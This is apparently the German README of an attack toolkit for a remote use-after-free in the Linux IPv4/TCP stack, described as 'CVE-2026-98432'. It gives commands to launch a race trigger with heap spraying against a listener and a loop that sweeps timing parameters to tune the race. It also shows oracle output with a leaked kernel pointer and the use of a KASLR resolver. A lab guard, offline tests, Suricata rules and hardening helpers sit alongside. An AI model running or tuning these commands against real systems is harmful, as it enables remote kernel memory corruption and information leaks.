
Labor-Toolkit für CVE-2026-98432 Linux TCP ireq_opt Use-after-free: Race-Trigger mit Heap-Reuse-Oracle, Leak-Parser, KASLR-Resolver, pcap-Analyse, IDS-Regeln und Härtung.
Ein kleines, getestetes Labor-Toolkit für CVE-2026-98432, einen Remote-Use-after-free im Linux-IPv4/TCP-Stack (CVSS 9.8). Es enthält einen Race-Trigger mit Heap-Reuse-Orakel, einen Leak-Parser, einen KASLR-Resolver, pcap-Analyse, IDS-Regeln und Härtungshelfer.
[!WARNING] Dies ist Angriffs-Tooling. Führe es nur gegen Maschinen aus, die dir gehören, in einer isolierten Laborumgebung. Die Schwachstelle ist remote und benötigt keine Anmeldedaten auf dem Ziel. Das Tool verweigert öffentliche Adressen, sofern du nicht explizit
--allow-publicübergibst.
ireq_opt-Race mit einem präzisen, konfigurierbaren Timing-Modell;System.map in einen KASLR-Slide umgewandelt werden;| Ziel | Linux mit einem IPv4-TCP-Listener, Kernel älter als der Fix |
| Angreifer | Linux, CAP_NET_RAW, ein C-Compiler, Python 3.8+ |
| Empfohlen | zwei VMs oder eine VM plus ein Host, im selben L2-Netzwerk |
--mode raw benötigt zusätzlich CAP_NET_ADMIN, um zwei iptables-Regeln zu installieren (das Tool gibt sie aus).
make # builds bin/cve_2026_98432
make check # full offline test suite, no packets sent
./bin/cve_2026_98432 --check
Im Labor:
# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000
# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
--workers 16 --spray 4 --duration 600 --pcap hits.pcap
# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap
Der Exit-Code ist 0, wenn das Oracle einen wiederverwendeten Optionsblock gesehen hat (Nachweis des Use-after-free), 3, wenn nicht, und 1/2 bei Fehlern.
Ein Laborlauf hat das UAF-Oracle bereits bestätigt: Das SYN-ACK trug den Marker einer anderen Anfrage, was beweist, dass der Kernel ein wiederverwendetes Optionsobjekt gelesen hat. Siehe docs/verified-hit.md. Stufe 2 (die Umwandlung der Wiederverwendung in ein Kernel-Pointer-Leak) ist implementiert und instrumentiert, aber noch nicht reproduziert; siehe docs/stage2-leak.md. Stand 2026-11-02 existiert keine öffentliche weaponisierte RCE-Kette: Anthropics Kette wird nur in Prosa beschrieben, und die detaillierteste unabhängige Arbeit endet bei einer kontrollierten Dereferenzierung auf einem instrumentierten Kernel.
lab/build-lab.sh lädt Linux 6.12.112 herunter, macht den Zwei-Zeilen-Fix rückgängig, baut einen Kernel und bootet ihn in QEMU zusammen mit dem Tool und einem Listener. Siehe lab/README.md für Voraussetzungen und die Befehle innerhalb der VM.
make # optimised build
make test # C unit tests + built-in self-test
make san # UBSan locally, ASan+UBSan on Linux
make check # everything: clean build, unit tests, sanitizers, Python, shell
make check öffnet niemals einen Socket. Es deckt Paketkonstruktion und -parsing, Prüfsummen, beide Marker-Varianten, den Pointer-Klassifizierer, den pcap-Writer, einen Parser-Fuzz-Durchlauf, die Analyzer, die Shell-Helfer, die CLI und den Sicherheits-Guard ab. Siehe docs/analysis.md für die vollständige Matrix.
| Modus | Was er tut | Netzwerk |
|---|---|---|
--check | vergleicht den laufenden Kernel mit der Fix-Tabelle, gibt MPTCP- und tcp_migrate_req-Status aus | keines |
--selftest | integrierter Smoke-Test | keines |
--emit-demo FILE | schreibt einen synthetischen UAF-Capture (zum Testen des Analyzers) | keines |
--dump-config | gibt die normalisierte Konfiguration aus | keines |
--probe IP:PORT | ein SYN mit MP_CAPABLE, erkennt einen MPTCP-Listener | ein Paket |
--race IP:PORT | das eigentliche Race | viele Pakete |
Häufige Race-Optionen:
--workers N concurrent attempts (default 8)
--duration S stop after S seconds
--spray N heap-spray threads
--dup-burst N duplicate SYNs per attempt (lab tuning)
--mode raw|socket who owns the handshake (default socket)
--rtt-lead US send the duplicate SYN this early (may be negative)
--rst-delta US RST offset after the predicted ACK
--jitter US randomize both offsets
--pcap FILE write anomalous frames
Führen Sie ./bin/cve_2026_98432 --help aus, um die vollständige Liste zu erhalten.
[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
| Feld | Bedeutung |
|---|---|
attempts | gestartete Handshakes |
synacks | beobachtete SYN-ACKs |
hits | SYN-ACK trug die Markierung eines anderen Versuchs: Use-after-free bestätigt |
anomalies | Options-Blob ließ sich nicht als unserer parsen (möglicherweise geleakte Bytes) |
malformed | IPv4 ihl < 5, die Underflow-Signatur |
marker echoed | SYN-ACKs, die unseren TS-Marker trugen |
rtt | aktuelle Round-Trip-Schätzung, die für das Timing verwendet wird |
Ein Treffer sieht so aus:
[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
ipopts[40] = 44280500...bbbb0002...
kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000
Der Wettlauf ist eine Verdrängungs-Lotterie, aber das Timing spielt dennoch eine Rolle. Beginne mit den Standardwerten auf Loopback oder einem LAN und variiere dann:
for lead in 0 10 30 60 120; do
for delta in -20 0 20 60; do
./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
--duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
done
done
python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d
Suricata-Regeln befinden sich in tools/suricata.rules. Die beiden hochwertigen Signaturen
sind ein eingehendes TCP-SYN mit IP-Optionen und ein IPv4-Header mit ihl < 5.